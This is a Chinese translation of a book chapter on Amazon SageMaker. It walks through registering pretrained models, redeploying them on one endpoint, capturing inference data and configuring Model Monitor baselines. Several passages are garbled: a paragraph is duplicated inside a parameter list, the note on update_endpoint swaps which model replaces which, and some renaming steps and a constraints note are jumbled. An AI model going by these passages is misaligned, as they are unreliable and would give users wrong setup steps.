删除具有监控计划的端点
-
清理
一旦你完成了本章的动手实践解决方案,你将更容易理解、使用和配置 SageMaker 的其他内置功能。考虑到这一点,让我们开始吧!
技术先决条件
在我们开始之前,我们必须准备好以下内容:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
访问本书第一章中使用的 AWS 账户和SageMaker Studio域名
每一章使用的 Jupyter 笔记本、源代码和其他文件都可在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
.
重要提示
建议在运行本书中的示例时,使用具有有限权限的 IAM 用户而不是根账户。我们将在第九章,安全、治理和合规策略中详细讨论这一点,以及其他安全最佳实践。如果你刚开始使用 AWS,你可以暂时使用根账户。
将模型注册到 SageMaker 模型注册表
在第六章,SageMaker 训练和调试解决方案中,我们使用了 Estimator
实例的 deploy()
方法,在训练模型后立即将我们的 ML 模型部署到推理端点。在进行生产环境中的 ML 实验和部署时,可能需要先分析并评估模型,然后再进行部署步骤。执行分析的个人或团队将审查输入配置参数、训练数据和用于训练模型的算法,以及其他相关的信息。一旦数据科学团队必须与多个模型一起工作,使用模型注册表管理和组织所有这些将变得更加容易。
什么是模型注册表?模型注册表只是一个专注于帮助数据科学家和 ML 实践者管理、组织和编目 ML 模型的仓库。在训练步骤之后,数据科学团队可以将训练好的 ML 模型存储在模型注册表中,并标记其状态为待审查或待批准。这将允许审查团队轻松地找到要审查的模型,以及与这些模型相关的历史信息和信息:
图 8.1 – 使用模型注册表
一旦审查团队完成审查过程并批准模型进行部署,模型的状态现在可以更改为批准,类似于前面图中所示。一旦 ML 模型的状态更改为批准,它可以通过手动或甚至使用MLOps 管道自动部署。除此之外,还可以触发其他自动化操作,如自动化报告和通知。
注意
如需了解更多关于 MLOps 管道的详细信息,请随时查看第十章,在 Amazon EKS 上使用 Kubeflow 的机器学习管道和第十一章,使用 SageMaker Pipelines 的机器学习管道。
现在你已经更好地了解了数据科学团队如何使用模型注册表来简化他们的工作,你可能已经在计划从头开始编写一个模型注册表!请稍等——SageMaker 已经为我们提供了一个!在本章接下来的几页中,我们将使用 boto3 库和 SageMaker Python SDK 来利用 SageMaker 中可用的模型注册表。
在 SageMaker Studio 中创建新的笔记本
我们将通过打开 SageMaker Studio 并在新的目录中创建一个新的 Jupyter Notebook 来开始本节的手动实践部分。
注意
在继续之前,请确保你已经完成了 第一章 中 SageMaker 和 SageMaker Studio 入门 部分的动手实践解决方案。请注意,本章的动手实践部分 不是 我们在 第六章 SageMaker 训练和调试解决方案 和 第七章 SageMaker 部署解决方案 中所完成内容的延续。
按照以下步骤启动 SageMaker Studio 并创建一个新的笔记本,该笔记本将用于运行本章中的 Python 脚本:
- 在 AWS 管理控制台的搜索栏中导航到
sagemaker studio
,并从 功能 下的结果列表中选择 SageMaker Studio。
重要提示
本章假设我们在使用服务来管理和创建不同类型的资源时使用的是 us-west-2
区域。你可以使用不同的区域,但请确保在需要将某些资源转移到你选择的区域时进行任何必要的调整。
-
接下来,在侧边栏中点击 SageMaker 域 下的 Studio。
-
点击 启动应用,如以下截图所示。从下拉选项中选择 Studio:
图 8.2 – 打开 SageMaker Studio
这将重定向你到 SageMaker Studio。等待几秒钟,直到界面加载。
- 在 文件浏览器 侧边栏面板的空白区域右键单击以打开一个类似于以下内容的上下文菜单:
图 8.3 – 创建新的文件夹
选择 CH08
。
-
通过在侧边栏中双击相应的文件夹名称来导航到 CH08 目录。
-
通过点击 文件 菜单并从 新建 子菜单下的选项列表中选择 笔记本 来创建一个新的笔记本:
图 8.4 – 创建新的笔记本
在前面的截图中,我们可以看到其他选项,包括创建新的 .ipynb
笔记本文件,这些文件将用于运行不同的代码块。
-
在 SageMaker 图像(选项)下的 数据科学
-
Python 3
-
无脚本
-
之后点击侧边栏中的 文件浏览器 空白区域,打开一个类似于以下内容的上下文菜单:
注意
等待内核启动。这一步可能需要大约 3 到 5 分钟,因为正在配置 ML 实例以运行 Jupyter 笔记本单元格。
- 右键单击以下截图中突出显示的选项卡名称:
图 8.5 – 重命名笔记本
从上下文菜单中的选项中选择重命名笔记本…。
- 在
01 - Registering Models to the SageMaker Model Registry.ipynb
下的新名称中。点击重命名按钮。
现在笔记本已经准备好了,我们可以继续将预训练模型注册到 SageMaker 模型注册表中!
使用 boto3 库将模型注册到 SageMaker 模型注册表
在本节中,我们将处理存储在.tar.gz
文件中的两个预训练模型。我们将这些模型以.tar.gz
文件的形式存储和注册,这些文件是通过使用 SageMaker 的内置算法K-Nearest Neighbor和Linear Learner执行两个单独的 ML 训练作业生成的。这些模型接受x和y值作为输入,并返回一个预测的标签值作为输出。这些x和y值代表什么?让我们看看:
图 8.6 – 预测首选疫苗接种点
如前述截图所示,这些x和y值对应于变换和缩放后的坐标值,这些坐标值表示人口中某些成员的位置,使用地图中的指定点作为参考。在第一次疫苗接种运行期间,这些成员中的几个选择了他们首选的疫苗接种点。这些疫苗接种点被标记为适当的标签值 – 0、1和2。使用之前的疫苗接种点数据作为我们的训练数据,我们能够生成两个模型,这些模型可以自动预测未接种疫苗的成员的首选疫苗接种点,给定一组坐标值 – 即x和y。
按照以下步骤下载提到的两个预训练模型的工件,并在我们之前章节中准备的01 - Registering Models to the SageMaker Model Registry.ipynb
笔记本中的 SageMaker 模型注册表中注册这些模型:
-
我们将使用
wget
命令开始下载预训练模型工件到tmp
目录:%%bash
mkdir -p tmp
wget -O tmp/knn.model.tar.gz https://bit.ly/3yZ6qHE
wget -O tmp/ll.model.tar.gz https://bit.ly/3ahj1fd
在这里,我们下载了两个.tar.gz
文件:
-
knn.model.tar.gz
:此文件包含预训练的K-Nearest Neighbor模型的模型工件 -
ll.model.tar.gz
:此文件包含预训练的Linear Learner模型的模型工件
-
指定一个唯一的 S3 存储桶名称和前缀。确保在运行以下代码块之前,将
<INSERT S3 BUCKET HERE>
的值替换为一个唯一的 S3 存储桶名称:s3_bucket = "<INSERT S3 BUCKET HERE>"
prefix = "chapter08"
确保你指定一个尚不存在的 S3 存储桶的桶名。如果你想重用之前章节中创建的其中一个存储桶,你可以这样做,但请确保使用与SageMaker Studio设置和配置相同的区域的 S3 存储桶。
-
让我们创建一个 S3 存储桶,我们将上传之前下载的
ll.model.tar.gz
和knn.model.tar.gz
文件:!aws s3 mb s3://{s3_bucket}
如果你计划重用之前章节中创建的现有 S3 存储桶,则可以跳过此步骤。
-
现在我们已经准备好了 S3 存储桶,让我们准备 S3 路径,以便它们指向我们将上传预训练模型工件的位置:
ll_model_data = \
f's3://{s3_bucket}/{prefix}/models/ll.model.tar.gz'
knn_model_data = \
f's3://{s3_bucket}/{prefix}/models/knn.model.tar.gz'
注意,在此阶段,存储在ll_model_data
和knn_model_data
变量中的指定 S3 路径中尚不存在ll.model.tar.gz
和knn.model.tar.gz
文件。在这里,我们只是在准备.tar.gz
文件将要上传的 S3 位置路径(字符串)。
-
现在,让我们使用
aws s3 cp
命令来复制和上传.tar.gz
文件到它们对应的 S3 位置:!aws s3 cp tmp/ll.model.tar.gz {ll_model_data}
!aws s3 cp tmp/knn.model.tar.gz {knn_model_data}
这将把ll.model.tar.gz
和knn.model.tar.gz
文件从tmp
目录上传到 S3 存储桶。
-
预训练模型工件已存放在 S3 中,让我们继续获取用于训练这些模型的 ML 算法的 ECR 容器镜像 URI。我们将使用
retrieve()
函数获取线性学习器和K-最近邻算法的镜像 URI:from sagemaker.image_uris import retrieve
ll_image_uri = retrieve(
"linear-learner",
region="us-west-2",
version="1"
)
knn_image_uri = retrieve(
"knn",
region="us-west-2",
version="1"
)
-
初始化 SageMaker 的
boto3
客户端。我们将使用此客户端调用几个 SageMaker API,这将帮助我们创建模型包和模型包组:import boto3
client = boto3.client(service_name="sagemaker")
-
接下来,定义
generate_random_string()
函数:import string
import random
def generate_random_string():
return ''.join(
random.sample(
string.ascii_uppercase,12)
)
这是为了什么? 我们将在创建新资源(在后续步骤中)时使用generate_random_string()
函数。这将帮助我们为我们将要创建的每个资源生成一个随机的标识符或标签。
-
随着
generate_random_string()
函数就绪,让我们生成一个随机的group_id
值。这将用于生成一个包组名称(package_group_name
)和一个包组描述(package_group_desc
)。然后,我们将使用 boto3 客户端的create_model_package_group()
方法创建模型包组:group_id = generate_random_string()
package_group_name = f"group-{group_id}"
package_group_desc = f"Model package group {group_id}"
response = client.create_model_package_group(
ModelPackageGroupName=package_group_name,
ModelPackageGroupDescription=package_group_desc
)
package_group_arn = response['ModelPackageGroupArn']
package_group_arn
-
接下来,让我们定义
prepare_inference_specs()
函数,我们将使用它来配置和设置我们的模型包,在下一步中:def prepare_inference_specs(image_uri, model_data):
return {
"Containers": [
{
"Image": image_uri,
"ModelDataUrl": model_data
}
],
"SupportedContentTypes": [
"text/csv"
],
"SupportedResponseMIMETypes": [
"application/json"
],
}
在这里,我们创建了一个函数,该函数使用ECR 容器镜像 URI和模型工件 S3 路径作为输入参数,准备并返回必要的嵌套配置结构。
-
接下来,让我们定义一个名为
create_model_package()
的自定义函数。此函数接受多个输入参数值,如下所示:-
模型包组的Amazon 资源名称(ARN)
-
这是为了什么? 我们将在创建新资源(在后续步骤中)时使用
generate_random_string()
函数。这将帮助我们为我们将要创建的每个资源生成一个随机的标识符或标签。 -
(可选)SageMaker 的
boto3
客户端:def create_model_package(
package_group_arn,
inference_specs,
client=client):
input_dict = {
"ModelPackageGroupName" : package_group_arn,
"ModelPackageDescription" : "Description",
"ModelApprovalStatus" : "Approved",
"InferenceSpecification" : inference_specs
}
response = client.create_model_package(
**input_dict
)
return response["ModelPackageArn"]
-
在创建模型包时,我们自动将 ModelApprovalStatus
的值设置为“已批准”。请注意,我们可以在将其转换为“已批准”之前先将其设置为“待手动批准”。然而,我们将简化一些事情,直接将值设置为“已批准”。
注意
模型的批准状态可以用来标记和识别哪些模型已准备好部署到生产端点。理想情况下,ML 模型在部署之前先进行评估和手动批准。如果模型通过了评估步骤,我们可以将批准状态设置为“已批准”。否则,我们将状态设置为“已拒绝”。
-
使用
prepare_inference_specs()
函数为 K-Nearest Neighbor 和 Linear Learner 模型包准备必要的推理规范配置:knn_inference_specs = prepare_inference_specs(
image_uri=knn_image_uri,
model_data=knn_model_data
)
ll_inference_specs = prepare_inference_specs(
image_uri=ll_image_uri,
model_data=ll_model_data
)
-
推理规范配置就绪后,让我们使用
create_model_package()
来创建模型包:knn_package_arn = create_model_package(
package_group_arn=package_group_arn,
inference_specs=knn_inference_specs
)
ll_package_arn = create_model_package(
package_group_arn=package_group_arn,
inference_specs=ll_inference_specs
)
-
最后,让我们使用 IPython 的
%store
魔法来存储knn_package_arn
、ll_package_arn
、s3_bucket
和prefix
的变量值:%store knn_package_arn
%store ll_package_arn
%store s3_bucket
%store prefix
我们将在本章后续部分使用这些存储的变量值。
到目前为止,已经创建了两个模型包,并准备好使用。
注意
您可以使用 client.list_model_package_groups()
和 client.list_model_packages(ModelPackageGroupName='<INSERT GROUP NAME>')
来检查已注册的模型包组和模型包列表。我们将把这个留给你作为练习!
从 SageMaker 模型注册表中部署模型
在 ML 模型已注册到模型注册表之后,有许多可能的后续步骤。在本节中,我们将重点关注手动将第一个注册的 ML 模型(预训练的 K-Nearest Neighbor 模型)部署到新的推理端点。在第一个注册的 ML 模型部署后,我们将继续在第一个 ML 模型已部署的相同端点部署第二个注册的模型(预训练的 Linear Learner 模型),类似于以下图中所示:
图 8.7 – 从模型注册表中部署模型
在这里,我们可以看到我们可以直接替换运行中的 ML 推理端点内的已部署 ML 模型,而无需创建一个新的单独的推理端点。这意味着我们不需要担心更改我们设置中的“目标基础设施服务器”,因为模型替换操作是在幕后进行的。同时,SageMaker 已经为我们自动化了这个过程,所以我们只需要调用正确的 API 来启动这个过程。
在这里,我们将继续在 将模型注册到 SageMaker 模型注册表 部分留下的工作,并将两个注册的模型部署到 ML 推理端点。也就是说,我们将执行以下步骤:
- 通过点击文件菜单并从新建子菜单下的选项列表中选择笔记本来创建一个新的笔记本。
注意
注意,我们将在与上一节中使用的01 - Registering Models to the SageMaker Model Registry.ipynb
笔记本文件相邻的CH08
目录内创建新的笔记本。
-
在SageMaker 图像下的数据科学(选项)
-
Python 3
-
无脚本
点击选择按钮。
-
右键单击新笔记本标签页的名称,在新名称下选择SageMaker 图像下的数据科学选项。点击重命名按钮。
-
现在我们已经准备好了新的笔记本,让我们继续通过使用 IPython 的
%store
魔法来加载存储变量knn_package_arn
和ll_package_arn
的值:%store -r knn_package_arn
%store -r ll_package_arn
-
让我们使用以下代码块初始化一个
ModelPackage
实例:import sagemaker
from sagemaker import get_execution_role
from sagemaker import ModelPackage
from sagemaker.predictor import Predictor
session = sagemaker.Session()
role = get_execution_role()
model = ModelPackage(
role=role,
model_package_arn=knn_package_arn,
sagemaker_session=session
)
model.predictor_cls = Predictor
在这里,我们初始化ModelPackage
实例时传递了IAM 执行角色、K-Nearest Neighbor 模型包 ARN和Session
实例。
-
现在我们已经初始化了
ModelPackage
实例,我们将调用它的deploy()
方法将预训练模型部署到实时推理端点:from sagemaker.serializers import JSONSerializer
from sagemaker.deserializers import JSONDeserializer
predictor = model.deploy(
instance_type='ml.m5.xlarge',
initial_instance_count=1,
serializer=JSONSerializer(),
deserializer=JSONDeserializer()
)
由于我们在上一步中将predictor_class
属性设置为Predictor
,因此deploy()
方法将返回一个Predictor
实例而不是None
。
注意
模型部署应大约需要 5 到 10 分钟才能完成。您可以随意拿一杯咖啡或茶!
-
一旦我们的 ML 推理端点准备就绪,我们将使用
Predictor
实例的predict()
方法执行一个样本预测来测试我们的设置:payload = {
'instances': [
{
"features": [ 1.5, 2 ]
},
]
}
predictor.predict(data=payload)
这应该产生一个等于或类似{'predictions': [{'predicted_label': 2.0}]}
的输出值。
-
接下来,让我们定义
process_prediction_result()
函数:def process_prediction_result(raw_result):
first = raw_result['predictions'][0]
return first['predicted_label']
这将从Predictor
实例的predict()
方法返回的嵌套结构中提取label
值。当然,函数中的代码假设我们在调用predict()
方法时每次只传递一个有效负载。
-
让我们定义一个自定义的
predict()
函数,该函数接受输入x
和y
值,以及可选的Predictor
实例参数值:def predict(x, y, predictor=predictor):
payload = {
'instances': [
{
"features": [ x, y ]
},
]
}
raw_result = predictor.predict(
data=payload
)
return process_prediction_result(raw_result)
-
让我们使用一组
x
和y
的样本值来测试我们的自定义predict()
函数:predict(x=3, y=4)
这应该返回一个预测的label
值等于或类似1.0
。我们如何解释这个结果?居住在由指定的输入x
和y
值表示的位置的客户可能会去标记为1
(即第二个疫苗接种点)的疫苗接种点。
注意
您可以修改process_prediction_result()
函数,将结果预测label
值的类型转换为整数而不是浮点数。
-
接下来,让我们定义
test_different_values()
函数:from time import sleep
def test_different_values(predictor=predictor):
for x in range(-3, 3+1):
for y in range(-3, 3+1):
label = predict(
x=x,
y=y,
predictor=predictor
)
print(f"x={x}, y={y}, label={label}")
sleep(0.2)
这里,我们只是多次调用我们的自定义 predict()
函数(每次预测请求之间有 200 毫秒的延迟)使用 x 和 y 的不同值组合。
-
在进行下一步之前,让我们检查我们的
test_different_values()
函数是否按预期工作:test_different_values()
这应该会显示给定 x 和 y 的不同组合的预测 label
值。
-
接下来,让我们定义一个自定义的
create_model()
函数,该函数使用 boto3 客户端的create_model()
方法与 SageMaker API 一起工作:import boto3
client = boto3.client(service_name="sagemaker")
def create_model(model_package_arn,
model_name,
role=role,
client=client):
container_list = [
{'ModelPackageName': model_package_arn}
]
response = client.create_model(
ModelName = model_name,
ExecutionRoleArn = role,
Containers = container_list
)
return response["ModelArn"]
-
让我们定义
generate_random_string()
函数,我们将使用它来生成一个随机的模型名称。之后,我们将调用之前步骤中定义的自定义create_model()
函数,传递我们 Linear Learner 模型的模型包 ARN 以及生成的模型名称:import string
import random
def generate_random_string():
return ''.join(
random.sample(
string.ascii_uppercase,12)
)
model_name = f"ll-{generate_random_string()}"
model_arn = create_model(
model_package_arn=ll_package_arn,
model_name=model_name
)
-
接下来,让我们定义
create_endpoint_config()
函数:def create_endpoint_config(
model_name,
config_name,
client=client):
response = client.create_endpoint_config(
EndpointConfigName = config_name,
ProductionVariants=[{
'InstanceType': "ml.m5.xlarge",
'InitialInstanceCount': 1,
'InitialVariantWeight': 1,
'ModelName': model_name,
'VariantName': 'AllTraffic'
}]
)
return response["EndpointConfigArn"]
此函数简单地使用 boto3 客户端的 create_endpoint_config()
方法为 SageMaker 准备所需的端点配置。
-
使用我们在上一步中定义的
create_endpoint_config()
函数,让我们创建一个 SageMaker ML 推理端点配置:config_name = f"config-{generate_random_string()}"
config_arn = create_endpoint_config(
model_name=model_name,
config_name=config_name
)
-
现在,让我们使用
update_endpoint()
方法更新端点配置:response = client.update_endpoint(
EndpointName=predictor.endpoint_name,
EndpointConfigName=config_name
)
在这里,我们使用了之前步骤中创建的端点配置。
重要提示
这里会发生什么? 一旦我们调用 update_endpoint()
方法,SageMaker 将在幕后执行所需的步骤来更新端点,并用最新端点配置中指定的模型(K-Nearest Neighbor)替换旧的已部署模型(Linear Learner)。请注意,这只是我们可以使用 SageMaker Python SDK 和 boto3 库实现的可能解决方案之一。其他可能的部署解决方案包括 多模型端点、A/B 测试端点设置、使用 推理管道模型 的端点等等!我们不会深入探讨这些其他变体和解决方案,所以请随意查看书中 Machine Learning with Amazon SageMaker Cookbook 中找到的部署食谱。
-
在进行下一组步骤之前,让我们使用以下代码块等待 5 分钟:
print('Wait for update operation to complete')
sleep(60*5)
这里,我们使用了 sleep()
函数,它接受一个等于我们希望代码等待或休眠的秒数的输入值。
注意
我们使用 sleep()
函数等待 5 分钟以确保更新端点操作已经完成(假设它需要大约 5 分钟或更少的时间来完成)。
-
初始化一个
Predictor
对象并将其附加到本节之前准备好的现有 ML 推理端点:predictor = Predictor(
endpoint_name=predictor.endpoint_name,
sagemaker_session=session,
serializer=JSONSerializer(),
deserializer=JSONDeserializer()
)
-
让我们通过使用样本有效载荷进行预测来测试我们的设置:
payload = {
'instances': [
{
"features": [ 1.5, 2 ]
},
]
}
predictor.predict(data=payload)
这应该会输出一个类似 {'predictions': [{'score': [0.04544410854578018, 0.3947080075740814, 0.5598478317260742], 'predicted_label': 2}]}
结构的输出值。
我们如何解释这个结果? 位于指定输入x
和y
值所代表的位置的客户(即,x = 1.5
和y = 2
)有以下概率:
-
4.5%
前往第一个疫苗接种点的概率(标签 = 0) -
39.5%
前往第二个疫苗接种点的概率(标签 = 1) -
56%
前往第三个疫苗接种点的概率(标签 = 2)
由于第三个疫苗接种点的概率值最高,模型将predicted_label
值设置为2
(假设计数从 0 开始)。
注意
注意,部署的线性学习器模型返回了每个类的概率分数以及预测标签,而我们在本节开头部署的k 最近邻模型仅返回了预测标签。当我们用来自不同实例家族(可能需要使用不同的推理算法容器镜像)的模型替换已部署的模型时,我们需要小心,因为新模型可能涉及不同的输入和输出结构和值。
-
与我们在之前对托管我们的K-最近邻模型的机器学习推理端点所执行的操作类似,我们将使用不同的x和y值进行多次样本预测:
test_different_values(predictor=predictor)
-
使用
%store
魔法将endpoint_name
变量的值存储起来:endpoint_name = predictor.endpoint_name
%store endpoint_name
如果你在想为什么我们还没有删除机器学习推理端点……我们将重用此端点,并在下一节中演示如何使用 SageMaker 的模型监控功能和特性!
启用数据捕获并模拟预测
机器学习模型部署到推理端点后,其质量需要被监控和检查,以便我们可以在检测到质量问题时或偏差时轻松采取纠正措施。这类似于 Web 应用程序开发,即使质量保证团队已经花费了数天(或数周)测试应用程序的最终版本,仍然可能存在其他问题,这些问题只有在 Web 应用程序运行后才会被发现:
图 8.8 – 捕获机器学习推理端点的请求和响应数据
如前图所示,模型监控从捕获请求和响应数据开始,这些数据通过正在运行的机器学习推理端点。这些收集到的数据在后续步骤中通过一个单独的自动化任务或作业进行处理和分析,该任务或作业可以生成报告并标记问题或异常。如果我们将在自定义构建的 Web 应用程序端点部署我们的机器学习模型,我们可能需要自己构建此数据捕获和模型监控设置。然而,如果我们使用 SageMaker,我们无需从头编写任何代码,因为我们只需利用内置的模型监控功能,只需启用和配置即可。
注意
在我们的“首选疫苗接种点预测”示例中,捕获的数据(理想情况下)包括输入(x和y值)和输出值(预测的标签值)。
按照以下步骤启用运行中的机器学习推理端点的数据捕获,并使用随机生成的有效载荷值模拟推理请求:
- 通过点击文件菜单并从新子菜单下的选项列表中选择笔记本来创建一个新的笔记本。
注意
注意,我们将在CH08
目录内创建新的笔记本,该目录位于我们之前章节中使用的01 - Registering Models to the SageMaker Model Registry.ipynb
和02 - Deploying Models from the SageMaker Model Registry.ipynb
笔记本文件旁边。
-
在
数据科学
(在SageMaker 镜像下找到的选项) -
Python 3
-
无脚本
之后点击选择按钮。
-
右键单击新笔记本标签页的名称,在新名称下选择03 - Enabling Data Capture and Simulating Predictions.ipynb。点击重命名按钮。
-
现在我们已经准备好了新的笔记本,让我们使用 IPython 的
%store
魔法来加载存储变量s3_bucket
、prefix
、ll_package_arn
和endpoint_name
的值:%store -r s3_bucket
%store -r prefix
%store -r ll_package_arn
%store -r endpoint_name
-
初始化一个
Predictor
对象并将其附加到本章从 SageMaker 模型注册表中部署模型部分中准备的机器学习推理端点:import sagemaker
from sagemaker import get_execution_role
from sagemaker.predictor import Predictor
from sagemaker.serializers import CSVSerializer
from sagemaker.deserializers import CSVDeserializer
session = sagemaker.Session()
role = get_execution_role()
predictor = Predictor(
endpoint_name=endpoint_name,
sagemaker_session=session,
role=role,
serializer=CSVSerializer(),
deserializer=CSVDeserializer()
)
-
接下来,让我们使用以下代码块准备和初始化
DataCaptureConfig
实例:from sagemaker.model_monitor import DataCaptureConfig
base = f"s3://{s3_bucket}/{prefix}"
capture_upload_path = f"{base}/data-capture"
capture_config_dict = {
'enable_capture': True,
'sampling_percentage': 100,
'destination_s3_uri': capture_upload_path,
'kms_key_id': None,
'capture_options': ["REQUEST", "RESPONSE"],
'csv_content_types': ["text/csv"],
'json_content_types': ["application/json"]
}
data_capture_config = DataCaptureConfig(
**capture_config_dict
)
在这里,我们指定了sampling_percentage
值为100
,这意味着将捕获所有数据。我们还通过capture_options
配置值指定,我们计划捕获通过机器学习推理端点传递的请求和响应数据。
-
现在我们已经准备好了配置,让我们调用
Predictor
实例的update_data_capture_config()
方法:%%time
predictor.update_data_capture_config(
data_capture_config=data_capture_config
)
注意
这应该需要大约 5 到 15 分钟才能完成。请随意拿一杯咖啡或茶!
-
使用
%store
魔法存储capture_upload_path
变量的值:%store capture_upload_path
-
定义
generate_random_payload()
函数:import random
def generate_random_payload():
x = random.randint(-5,5)
y = random.randint(-5,5)
return f"{x},{y}"
-
定义
perform_good_input()
和perform_bad_input()
函数:def perform_good_input(predictor):
print("> PERFORM REQUEST WITH GOOD INPUT")
payload = generate_random_payload()
result = predictor.predict(data=payload)
print(result)
def perform_bad_input(predictor):
print("> PERFORM REQUEST WITH BAD INPUT")
payload = generate_random_payload() + ".50"
result = predictor.predict(data=payload)
print(result)
重要注意
到目前为止,你可能想知道为什么我们考虑将y输入有效载荷的浮点值视为不良输入。请注意,这只是为了演示目的,因为我们计划在配置使用 SageMaker Model Monitor 进行计划监控部分中的约束时,将x和y的浮点输入值标记为无效值。
-
使用
perform_good_input()
函数运行包含“有效值:”的样本推理请求perform_good_input(predictor)
-
使用
perform_bad_input()
函数运行包含“无效值:”的样本推理请求perform_bad_input(predictor)
-
定义
generate_sample_requests()
函数,该函数将在perform_good_input()
和perform_bad_input()
函数之间交替调用:from time import sleep
def generate_sample_requests(predictor):
for i in range(0, 2 * 240):
print(f"ITERATION # {i}")
perform_good_input(predictor)
perform_bad_input(predictor)
print("> SLEEPING FOR 30 SECONDS")
sleep(30)
-
一切准备就绪后,让我们使用
generate_sample_requests()
函数连续发送样本请求到我们的机器学习推理端点:generate_sample_requests(predictor)
重要提示
注意,本节最后一步将每 30 秒连续发送样本推理请求,并循环 480 次。我们将保持此操作并继续下一节。我们应在完成本章的“使用 SageMaker Model Monitor 的计划监控”部分后,才停止执行 generate_sample_requests()
函数。
在这一点上,你可能想知道数据存储在哪里以及这些数据将如何用于分析。在接下来的几节中,我们将回答这些问题,并提供更多关于 SageMaker 中模型监控工作原理的详细信息。
使用 SageMaker Model Monitor 进行计划监控
如果你已经在数据科学和机器学习行业工作了一段时间,你可能知道部署后的机器学习模型性能并不保证。生产环境中的部署模型必须实时(或接近实时)监控,以便我们可以在检测到任何漂移或与预期值集合的偏差后,替换已部署的模型并修复任何问题:
图 8.9 – 使用 Model Monitor 分析捕获的数据并检测违规情况
在前面的图中,我们可以看到我们可以通过监控(处理)作业来处理和分析捕获的数据。这个作业预计将生成一个自动报告,可用于分析已部署的模型和数据。同时,任何检测到的违规情况都会被标记并作为报告的一部分进行报告。
注意
假设我们已经训练了一个机器学习模型,该模型根据专业人士的年龄、工作年限、角色和子女数量预测专业人士的薪水。一旦机器学习模型部署到推理端点,各种应用程序就会将请求数据发送到机器学习推理端点以获取预测的薪水值。如果其中一个应用程序开始发送错误值怎么办? 例如,输入负载中指定的子女数量为负数。鉴于这个字段不可能有负数,监控作业应将此违规情况标记为数据质量问题。
在本节中,我们将配置 SageMaker Model Monitor 以使用计划每小时的处理作业分析捕获的数据。一旦处理作业的结果准备好,我们将看到监控作业已经标记了由于在上一节中将“不良输入”作为有效负载的一部分发送到机器学习推理端点而引起的违规。Model Monitor 可以配置为检测关于 数据质量、模型质量、偏差漂移 和 特征归因漂移 的违规。在本节的动手实践中,我们只会关注检测关于数据质量的违规。然而,检测其他类型的漂移和违规应遵循类似的步骤,这些步骤将在稍后介绍。
按照以下步骤配置 SageMaker Model Monitor 以每小时运行一次监控作业并分析通过机器学习推理端点传递的捕获数据:
- 通过点击 文件 菜单并从 新建 子菜单下的选项列表中选择 笔记本 来创建一个新的笔记本。
注意
注意,我们将在这个章节的上一节中创建的其他笔记本文件旁边的 CH08
目录中创建新的笔记本。
-
在
数据科学
(在 SageMaker 图像 下找到的选项) -
Python 3
-
无脚本
点击 选择 按钮。
-
右键单击新笔记本标签页的名称,在 新建名称 下选择 04 - 使用 SageMaker Model Monitor 进行计划监控.ipynb。之后点击 重命名 按钮。
-
现在我们已经准备好了新的笔记本,让我们使用 IPython 的
%store
魔法命令来加载存储变量s3_bucket
、prefix
、ll_package_arn
、endpoint_name
和ll_package_arn
的值:%store -r s3_bucket
%store -r prefix
%store -r ll_package_arn
%store -r endpoint_name
%store -r ll_package_arn
-
初始化一个
Predictor
对象并将其附加到我们在 从 SageMaker Model Registry 部署模型 部分部署的机器学习推理端点:import sagemaker
from sagemaker import get_execution_role
from sagemaker.predictor import Predictor
session = sagemaker.Session()
role = get_execution_role()
predictor = Predictor(
endpoint_name=endpoint_name,
sagemaker_session=session,
role=role
)
-
使用
wget
命令下载baseline.csv
文件:%%bash
mkdir -p tmp
wget -O tmp/baseline.csv https://bit.ly/3td5vjx
注意
baseline.csv
文件是做什么用的?此 CSV 文件将作为后续使用的 基线数据集,供 SageMaker Model Monitor 作为检查捕获数据漂移和问题的“参考”。
-
让我们也准备 S3 路径位置,我们将在此处存储基线分析输出文件:
base = f's3://{s3_bucket}/{prefix}'
baseline_source_uri = f'{base}/baseline.csv'
baseline_output_uri = f"{base}/baseline-output"
-
使用
aws s3 cp
命令将baseline.csv
文件从tmp
目录上传到存储在baseline_source_uri
中的 S3 目标位置:!aws s3 cp tmp/baseline.csv {baseline_source_uri}
-
使用以下代码块初始化和配置
DefaultModelMonitor
实例:from sagemaker.model_monitor import DefaultModelMonitor
monitor_dict = {
'role': role,
'instance_count': 1,
'instance_type': 'ml.m5.large',
'volume_size_in_gb': 10,
'max_runtime_in_seconds': 1800,
}
default_monitor = DefaultModelMonitor(
**monitor_dict
)
在这里,我们配置了 ml.m5.large
实例来处理捕获的数据。
注意
为了监控部署的机器学习模型和通过推理端点传递的数据,monitor_dict
对应于 SageMaker Processing 作业的配置,用于监控机器学习模型和数据。
-
使用以下代码块运行基线作业:
%%time
from sagemaker.model_monitor import dataset_format
dataset_format = dataset_format.DatasetFormat.csv(
header=True
)
baseline_dict = {
'baseline_dataset': baseline_source_uri,
'dataset_format': dataset_format,
'output_s3_uri': baseline_output_uri,
'wait': True
}
default_monitor.suggest_baseline(
**baseline_dict
)
在这里,我们使用 baseline.csv
文件作为参考,以了解将通过 ML 推理端点传递的数据的预期属性。假设 baseline.csv
文件中的一个列只包含正整数。使用这个 CSV 文件作为基线,我们可以配置 SageMaker Model Monitor 来标记(对于该列或特征)负数或浮点输入值作为“坏输入。”
注意
当然,检测违规和问题是故事的一半。解决问题将是另一半。
-
定义一个自定义的
flatten()
函数,这将帮助我们检查和查看 DataFrame 中的字典对象:import pandas as pd
def flatten(input_dict):
df = pd.json_normalize(input_dict)
return df.head()
-
让我们检查基线作业生成的统计报告:
baseline_job = default_monitor.latest_baselining_job
stats = baseline_job.baseline_statistics()
schema_dict = stats.body_dict["features"]
flatten(schema_dict)
这应该会产生一个类似于以下 DataFrame:
图 8.10 – 包含基线统计的 DataFrame
在这里,我们可以看到 baseline.csv
文件中每一列的 inferred_type
值,以及其他统计值。
-
接下来,让我们回顾基线作业准备的推荐约束:
constraints = baseline_job.suggested_constraints()
constraints_dict = constraints.body_dict["features"]
flatten(constraints_dict)
这应该会给我们一个类似于以下值的 DataFrame:
图 8.11 – 包含每个特征建议约束的 DataFrame
在这里,我们可以看到基线数据集分析后推荐的约束。
注意
这些(建议的)约束将在后续的 a
中使用,基线数据集有一个约束,其中它应该只包含整数值,那么处理作业将标记如果捕获的数据包含记录,其中列 a
的值是浮点数。
-
接下来,我们将修改
a
和b
列(包含输入 x 和 y 值)的约束,并假设这些有效值是整型而不是浮点型或十进制型:constraints.body_dict['features'][1]['inferred_type'] = 'Integral'
constraints.body_dict['features'][2]['inferred_type'] = 'Integral'
constraints.save()
